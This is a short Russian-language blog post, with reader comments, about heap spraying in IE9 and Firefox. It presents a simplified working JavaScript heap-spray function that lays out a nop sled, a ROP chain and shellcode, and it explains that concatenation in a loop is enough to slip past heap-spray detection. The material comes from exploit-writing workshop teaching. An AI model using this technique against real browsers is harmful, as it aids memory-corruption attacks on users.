пятница, 23 ноября 2012 г.

HeapSpray

Мини блого-запись  о хипспрее.

Забавно, но в Интернетах говорят о всяких Bubble и Nozzle, и в частности относительно FF и IE9. Я вот прочитав следующие блоги:

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
http://www.greyhathacker.net/?p=549

... был убежден в эффективности данных методов и даже рассказывал об этом на воркшопе, но сегодня захотелось мне определить порог детектирования HeapSpray. И тут то я понял, что истинная причина того, почему все эти методы из блогов работают, не в том, что они добавляют рандомный  код в начали строки и обманывают сложные алгоритмы, а в том, что там есть конкатенация в цикле. Другими словами не надо усложнять код и добавлять счетчик или не-ассемблерные инструкции и тд. Достаточно сделать конкатенацию! Все просто, не усложняйте себе жизнь ;)

P.S. Прошу считать это за дополнение к воркшопу, где рассказывалось об методе Корелана. Теперь рабочий код для HeapSpray много проще (greyhathacker.net базовый вариант):


  1. var heap_chunks;
  2. function heapSpray(rop,shellcode,nopsled)
  3. {
  4.          var chunk_size, headersize, nopsled_len, code;
  5.          var i, codewithnum;
  6.          log.innerHTML+="<br><b>Stage 2. HeapSpraay...";
  7.          chunk_size = 0x40000;
  8.          headersize = 0x10;
  9.          nopsled_len = chunk_size - (headersize + rop.length + shellcode.length);
  10.          while (nopsled.length < nopsled_len)
  11.                 nopsled += nopsled;
  12.          nopsled = nopsled.substring(0, nopsled_len);
  13.          code = nopsled + rop + shellcode;                            
  14.          heap_chunks = new Array();
  15.          for (i = 0 ; i < 1000 ; i++)
  16.          {
  17.                 codewithnum = "HERE" + code;
  18.                 heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
  19.          }
  20.  }

5 комментариев:

  1. is this about detecting heapspray? avoiding detection?
    I didn't get it from google translate..thanks!

    ОтветитьУдалить
    Ответы
    1. No. Just little update of "HOWTO" for Heap Spraing in IE9/FF. Main idea: if there will be concatenation operation into loop, then substring will allocate new block. You do not need to make random/different or non-asm parts in begining, as it was said before in the Interent. That's all. Nothing special 8)

      Удалить
  2. Здравствуйте, Алексей! Я участвовал в вашем workshop на zeronight.
    Если Вам не сложно могли бы вы выложить в рабочем виде ex3, где запускается эксплоит с калькулятором. Или хотябы пояснить как подобрать ESP. Заранее большое спасибо. Дмитрий

    ОтветитьУдалить